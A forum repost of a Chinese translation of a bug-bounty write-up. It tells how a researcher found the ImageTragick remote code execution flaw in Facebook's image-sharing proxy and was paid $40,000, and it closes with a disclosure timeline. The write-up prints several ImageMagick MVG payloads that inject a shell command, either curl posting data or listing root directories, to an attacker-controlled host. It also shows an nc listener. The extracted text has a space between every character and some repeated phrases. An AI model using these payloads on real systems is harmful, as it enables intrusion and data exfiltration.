搜索

[10967] 2017-01-24_看我如何发现Facebook的ImageMagick漏洞并获4万美元赏金

文档创建者：s7ckTeam
浏览次数：49
最后更新：2025-01-18
2017-01-24_看我如何发现Facebook的ImageMagick漏洞并获4万美元赏金 看 我 如 何 发 现 F a c e b o o k 的 I m a g e M a g i c k 漏 洞 并 获 4 万 美 元 赏 金 c l o u d s   F r e e B u f   2 0 1 7 - 0 1 - 2 4 相 信 大 多 数 人 都 对 相 信 大 多 数 人 都 对 I m a g e M a g i c k   R C E 漏 洞 有 所 知 晓 ， 该 漏 洞 于 去 年 漏 洞 有 所 知 晓 ， 该 漏 洞 于 去 年 4 月 底 被 发 现 ， 由 于 其 软 件 本 身 被 很 多 知 名 网 站 使 用 ， 且 月 底 被 发 现 ， 由 于 其 软 件 本 身 被 很 多 知 名 网 站 使 用 ， 且 存 在 很 多 流 行 拓 展 插 件 ， 漏 洞 最 终 造 成 了 很 大 影 响 。 存 在 很 多 流 行 拓 展 插 件 ， 漏 洞 最 终 造 成 了 很 大 影 响 。 I m a g e M a g i c k 的 首 次 漏 洞 发 现 ， 是 白 帽 子 的 首 次 漏 洞 发 现 ， 是 白 帽 子 s t e w i e 通 过 通 过 H a c k e r O n e 平 台 的 平 台 的 M a i l . R u 网 站 测 试 发 现 的 ， 该 漏 洞 为 文 件 读 取 漏 洞 ； 随 后 ， 网 站 测 试 发 现 的 ， 该 漏 洞 为 文 件 读 取 漏 洞 ； 随 后 ， M a i l . R u 安 全 团 队 把 这 一 漏 洞 报 送 给 了 安 全 团 队 把 这 一 漏 洞 报 送 给 了 I m a g e M a g i c k 官 方 进 行 修 官 方 进 行 修 复 。 但 仅 在 几 天 后 ， 复 。 但 仅 在 几 天 后 ，   M a i l . R u 安 全 团 队 研 究 人 员 安 全 团 队 研 究 人 员 N i k o l a y   E r m i s h k i n 深 入 分 析 ， 又 发 现 了 深 入 分 析 ， 又 发 现 了 I m a g e M a g i c k 存 在 的 远 程 代 码 执 行 漏 存 在 的 远 程 代 码 执 行 漏 洞 。 洞 。 在 这 里 ， 我 要 和 大 家 分 享 的 是 ， 我 如 何 发 现 F a c e b o o k 存 在 的 I m a g e M a g i c k 漏 洞 。 F B 百 科 ： 百 科 ： I m a g e M a g i c k 远 程 代 码 执 行 漏 洞 远 程 代 码 执 行 漏 洞 F B 百 科 ： 百 科 ： I m a g e M a g i c k 远 程 代 码 执 行 漏 洞 远 程 代 码 执 行 漏 洞 I m a g e M a g i c k 是 一 款 开 源 的 创 建 、 编 辑 、 合 成 图 片 的 软 件 。 可 以 读 取 、 转 换 、 写 入 多 达 9 0 多 种 格 式 图 片 ， 遵 守 G P L 许 可 协 议 ， 可 运 行 于 大 多 数 的 操 作 系 统 。   由 于 其 功 能 强 大 、 性 能 较 好 ， 并 且 对 很 多 语 言 都 有 拓 展 支 持 ， 所 以 在 程 序 开 发 中 被 广 泛 使 用 。 比 如 p h p 有 I M a g i c k 、 M a g i c k W a n d   f o r   P H P   、 p h M a g i c k 等 I m a g e M a g i c k 拓 展 库 , j a v a 有 J M a g i c k , p y t h o n 有 P y t h o n M a g i c k 、 W a n d   等 拓 展 库 。 许 多 流 行 网 站 和 论 坛 也 使 用 I m a g e M a g i c k 拓 展 来 做 w e b 相 关 图 片 处 理 工 作 ， 比 如 用 户 头 像 生 成 、 图 片 编 辑 等 。 2 0 1 6 年 4 月 底 ， I m a g e M a g i c k 被 曝 存 在 高 危 远 程 代 码 执 行 漏 洞 （ R C E ） 。 攻 击 者 可 以 利 用 漏 洞 上 传 恶 意 构 造 的 图 像 文 件 ， 实 现 在 目 标 服 务 器 和 网 站 远 程 执 行 任 意 代 码 。 漏 洞 信 息 专 题 网 站 ： h t t p s : / / i m a g e t r a g i c k . c o m / e x p l o i t - d b ： h t t p s : / / w w w . e x p l o i t - d b . c o m / e x p l o i t s / 3 9 7 6 7 / 漏 洞 利 用 P O C 参 考 ： h t t p s : / / g i t h u b . c o m / I m a g e T r a g i c k / P o C s
起 因 起 因 起 因 起 因 1 0 月 的 某 个 周 六 ， 我 正 在 对 一 些 大 型 网 站 （ 不 是 f a c e b o o k ) 进 行 安 全 测 试 ， 无 意 间 ， 一 个 测 试 过 程 中 发 生 的 重 定 向 链 接 让 我 意 识 到 f a c e b o o k 可 能 存 在 漏 洞 。 该 重 定 向 在 点 击 S h a r e   o n   F a c e b o o k 分 享 按 钮 之 后 发 生 ： 链 接 ： h t t p s : / / w w w . f a c e b o o k . c o m / d i a l o g / f e e d ? a p p _ i d = A P P _ I D & l i n k = l i n k . e x a m p l e . t l d & p i c t u r e = h t t p % 3 A % 2 F % 2 F a t t a c k e r . t l d % 2 F e x p l o i t . p n g & n a m e = n e w s _ n a m e & c a p t i o n = n e w s _ c a p t i o n & d e s c r i p t i o n = n e w s _ d e s c r i o t i o n & r e d i r e c t _ u r i = h t t p % 3 A % 2 F % 2 F w w w . f a c e b o o k . c o m & e x t = 1 4 7 6 5 6 9 7 6 3 & h a s h = A e b i d 3 v Z F d h 4 U F 1 H 仔 细 观 察 上 述 链 接 可 以 注 意 到 ， 其 中 包 含 的 p i c t u r e 图 片 参 数 是 一 个 u r l ， 但 显 示 在 网 页 内 容 中 却 并 不 是 一 个 真 正 意 义 上 的 图 片 u r l 。 这 幅 调 用 G o o g l e 的 图 片 （ h t t p s : / / w w w . g o o g l e . c o m / i m a g e s / e r r o r s / r o b o t . p n g ） 正 常 来 说 ， 应 该 是 这 样 的 ： 但 在 F a c e b o o k 网 页 中 ， 它 是 这 样 的 ： h t t p s : / / e x t e r n a l . f h e n 1 - 1 . f n a . f b c d n . n e t / s a f e _ i m a g e . p h p ? d = A Q D a e W q 2 F n 1 U j s 4 P & w = 1 5 8 & h = 1 5 8 & u r l = h t t p s % 3 A % 2 F % 2 F w w w . g o o g l e . c o m % 2 F i m a g e s % 2 F e r r o r s % 2 F r o b o t . p n g & c f s = 1 & u p s c a l e = 1 & _ n c _ h a s h = A Q D 2 u v q I g A d X g W y b
一 开 始 我 考 虑 的 是 S S R F 漏 洞 ， 但 经 测 试 发 现 ， 该 链 接 中 涉 及 的 图 片 请 求 回 应 来 自 f a c e b o o k 官 方 服 务 器 f a c e b o o k e x t e r n a l h i t / 1 . 1 . 的 3 1 . 1 3 . 9 7 . *   ： n c   - l v v v   8 0 8 8 C o n n e c t i o n   f r o m   3 1 . 1 3 . 9 7 . *   p o r t   8 0 8 8   [ t c p / r a d a n - h t t p ]   a c c e p t e d   G E T   / e x p l o i t . p n g ? d d f a d s v d b v   H T T P / 1 . 1   U s e r - A g e n t :   f a c e b o o k e x t e r n a l h i t / 1 . 1 ( + h t t p : / / w w w . f a c e b o o k . c o m / e x t e r n a l h i t _ u a t e x t . p h p )   A c c e p t :   * / *   A c c e p t - E n c o d i n g :   d e f l a t e ,   g z i p   H o s t :   a t t a c k e r . t l d   C o n n e c t i o n :   k e e p - a l i v e 深 挖 深 挖 深 挖 深 挖 它 看 起 来 像 是 一 个 正 常 的 服 务 器 请 求 ， 但 是 由 于 其 图 片 转 换 的 奇 怪 ， 让 我 有 了 继 续 深 挖 的 动 力 。 然 而 ， 在 经 过 了 一 连 串 的 S V G 漏 洞 、 S S R F 漏 洞 和 X X E 漏 洞 测 试 过 后 ， 我 一 无 所 获 ， 内 心 飘 过 一 丝 丝 失 望 。 尽 管 如 此 ， 我 还 是 希 望 最 后 尝 试 一 下 I m a g e T r a g i c k 漏 洞 。 （ 漏 洞 相 关 P O C 参 照 ： G i t h u b ） 首 先 构 造 一 个 简 单 的 图 片 攻 击 e x p l o i t . p n g ： p u s h   g r a p h i c - c o n t e x t v i e w b o x   0   0   6 4 0   4 8 0   i m a g e   o v e r   0 , 0   0 , 0   ' h t t p s : / / 1 2 7 . 0 . 0 . 1 / x . p h p ? x = % 6 0 c u r l   " h t t p : / / a t t a c k e r . t l d / "   - d   @ -   >   / d e v / n u l l ` '   p o p   g r a p h i c - c o n t e x t 攻 击 之 后 ， 对 8 0 端 口 入 站 信 息 进 行 监 听 ， 擦 ， 什 么 都 没 有 . . . . $   n c   - l v v v   8 0 我 想 想 ， 难 道 是 有 防 火 墙 限 制 ？ 通 常 有 些 公 司 网 站 只 会 对 通 用 请 求 进 行 过 滤 ， 但 不 会 过 滤 D N S 请 求 信 息 ， 再 试 试 看 ： p u s h   g r a p h i c - c o n t e x t v i e w b o x   0   0   6 4 0   4 8 0   i m a g e   o v e r   0 , 0   0 , 0   ' h t t p s : / / 1 2 7 . 0 . 0 . 1 / x . p h p ? x = % 6 0 c u r l   " h t t p : / / r e c o r d _ u n d e r _ a t t a c k e r _ c o n t r o l e d _ n s _ s e r v e r . a t t a c k e r . t l d / "   - d @ -   >   / d e v / n u l l ` '   p o p   g r a p h i c - c o n t e x t 终 于 有 结 果 了 ： I P :   3 1 . 1 3 . * . * ;   N e t N a m e :   L L A 1 - 1 1 N A M E :   r e c o r d _ u n d e r _ a t t a c k e r _ c o n t r o l e d _ n s _ s e r v e r . a t t a c k e r . t l d ,   T y p e :   A
I P 的 W h o i s 信 息 显 示 为 大 大 的 F A C E B O O K ： n e t n a m e :   L L A 1 - 1 1 d e s c r :   F a c e b o o k 好 吧 ， 可 以 庆 祝 了 ！ 梳 理 梳 理 梳 理 梳 理 漏 洞 实 现 的 整 个 过 程 应 该 是 这 样 产 生 的 ： F a c e b o o k 服 务 器 端 首 先 对 ' p i c t u r e ' 参 数 涉 及 的 g o o g l e 图 片 （ h t t p s : / / w w w . g o o g l e . c o m / i m a g e s / e r r o r s / r o b o t . p n g ） 进 行 请 求 ， 该 过 程 是 正 常 的 ， 不 存 在 漏 洞 ； 之 后 ， 利 用 I m a g e M a g i c k 库 相 关 插 件 对 接 收 到 图 片 进 行 格 式 和 存 储 转 换 ， 该 过 程 中 使 用 的 I m a g e M a g i c k 库 存 在 漏 洞 。 说 实 话 ， 我 曾 尝 试 找 到 一 种 通 用 方 法 来 构 造 H T T P 请 求 的 漏 洞 利 用 ， 但 是 经 过 简 单 的 测 试 后 发 现 ， f a c e b o o k 服 务 器 几 乎 所 有 对 外 端 口 都 是 关 闭 ， 要 找 到 一 个 可 以 监 听 利 用 的 端 口 就 必 须 得 花 很 长 时 间 。 所 以 ， 我 重 新 对 p a y l o a d 进 行 了 有 效 调 整 ： p u s h   g r a p h i c - c o n t e x t v i e w b o x   0   0   6 4 0   4 8 0   i m a g e   o v e r   0 , 0   0 , 0   ' h t t p s : / / 1 2 7 . 0 . 0 . 1 / x . p h p ? x = % 6 0 f o r   i   i n   $ ( l s   / )   ;   d o   c u r l   " h t t p : / / $ i . a t t a c k e r . t l d / "   - d   @ -   >   / d e v / n u l l ;   d o n e ` ' p o p   g r a p h i c - c o n t e x t 成 功 执 行 p a y l o a d 后 ， 最 终 可 以 成 功 返 回 有 效 信 息 ： N A M E :   h o m e . a t t a c k e r . t l d ,   T y p e :   A N A M E :   b o o t . a t t a c k e r . t l d ,   T y p e :   2 8   N A M E :   d e v . a t t a c k e r . t l d ,   T y p e :   2 8   N A M E :   b i n . a t t a c k e r . t l d ,   T y p e :   A   … 相 关 进 程 和 权 限 信 息 如 下 ： N A M E :   u i d = 9 9 ( n o b o d y ) . a t t a c k e r . t l d . ,   T y p e :   2 8 N A M E :   g r o u p s = 9 9 ( n o b o d y ) . a t t a c k e r . t l d . ,   T y p e :   A   N A M E :   g i d = 9 9 ( n o b o d y ) . a t t a c k e r . t l d . ,   T y p e :   A 为 了 充 分 证 明 该 漏 洞 的 有 效 性 ， 我 给 F a c e b o o k 安 全 团 队 提 供 了 其 服 务 器 获 取 内 核 版 本 信 息 （ c a t / p r o c / v e r s i o n ） 的 结 果 ， 在 此 就 不 作 公 布 了 。 根 据 F a c e b o o k 的 漏 洞 披 露 策 略 ， 为 了 不 影 响 其 系 统 的 正 常 运 行 ， 我 就 点 到 为 止 吧 。 漏 洞 报 告 给 F a c e b o o k 后 ， 其 安 全 团 队 的 N e a l 告 诉 我 ， 他 认 为 用 命 令 “ c a t / p r o c / v e r s i o n   |   b a s e 6 4 ” 执 行 结 果 证 明 可 能 会 更 好 ， 另 外 ， 一 些 实 验 表 明 ， b a s e 3 2 命 令 在 D N S 隧 道 等 很 多 技 术 中 都 比 较 常 用 。 很 高 兴 我 能 成 为 攻 破 F a c e b o o k 的 人 之 一 。 漏 洞 报 送 进 程 漏 洞 报 送 进 程 漏 洞 报 送 进 程 漏 洞 报 送 进 程 2 0 1 6 . 1 0 . 1 6     0 3 : 3 1   a m         向 F a c e b o o k 报 告 漏 洞 ; 2 0 1 6 . 1 0 . 1 8     0 5 : 3 5   p m         F a c e b o o k 安 全 团 队 的 N e a l 让 我 提 供 漏 洞 P O C ；
2 0 1 6 . 1 0 . 1 8     0 8 : 4 0   p m         我 向 F a c e b o o k 发 送 了 一 个 P O C 并 提 供 了 其 它 信 息 ； 2 0 1 6 . 1 0 . 1 8     1 0 : 3 1   p m         N e a l 确 认 了 漏 洞 ； 2 0 1 6 . 1 0 . 1 9     1 2 : 2 6   a m         N e a l 反 馈 正 在 修 复 漏 洞 ； 2 0 1 6 . 1 0 . 1 9     0 2 : 2 8   a m         N e a l 告 知 我 漏 洞 已 经 修 复 ； 2 0 1 6 . 1 0 . 1 9     0 7 : 4 9   a m         我 重 新 测 试 后 确 认 确 认 漏 洞 已 经 修 补 ， 并 咨 询 漏 洞 披 露 时 间 ； 2 0 1 6 . 1 0 . 2 2     0 3 : 3 4   a m         N e a l 回 应 漏 洞 披 露 时 间 ；   2 0 1 6 . 1 0 . 2 8     0 3 : 3 4   a m         F a c e b o o k 确 认 将 向 我 支 付 4 万 美 元 的 漏 洞 赏 金 ； 2 0 1 6 . 1 1 . 0 4     漏 洞 赏 金 通 过 B u g c r o w d 支 付 平 台 发 放 到 我 账 户 ； 2 0 1 6 . 1 2 . 1 6     漏 洞 披 露 。 * 参 考 来 源 ： 4 l e m o n . r u ， F B 小 编 c l o u d s 编 译 ， 转 载 请 注 明 来 自 F r e e B u f . C O M 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理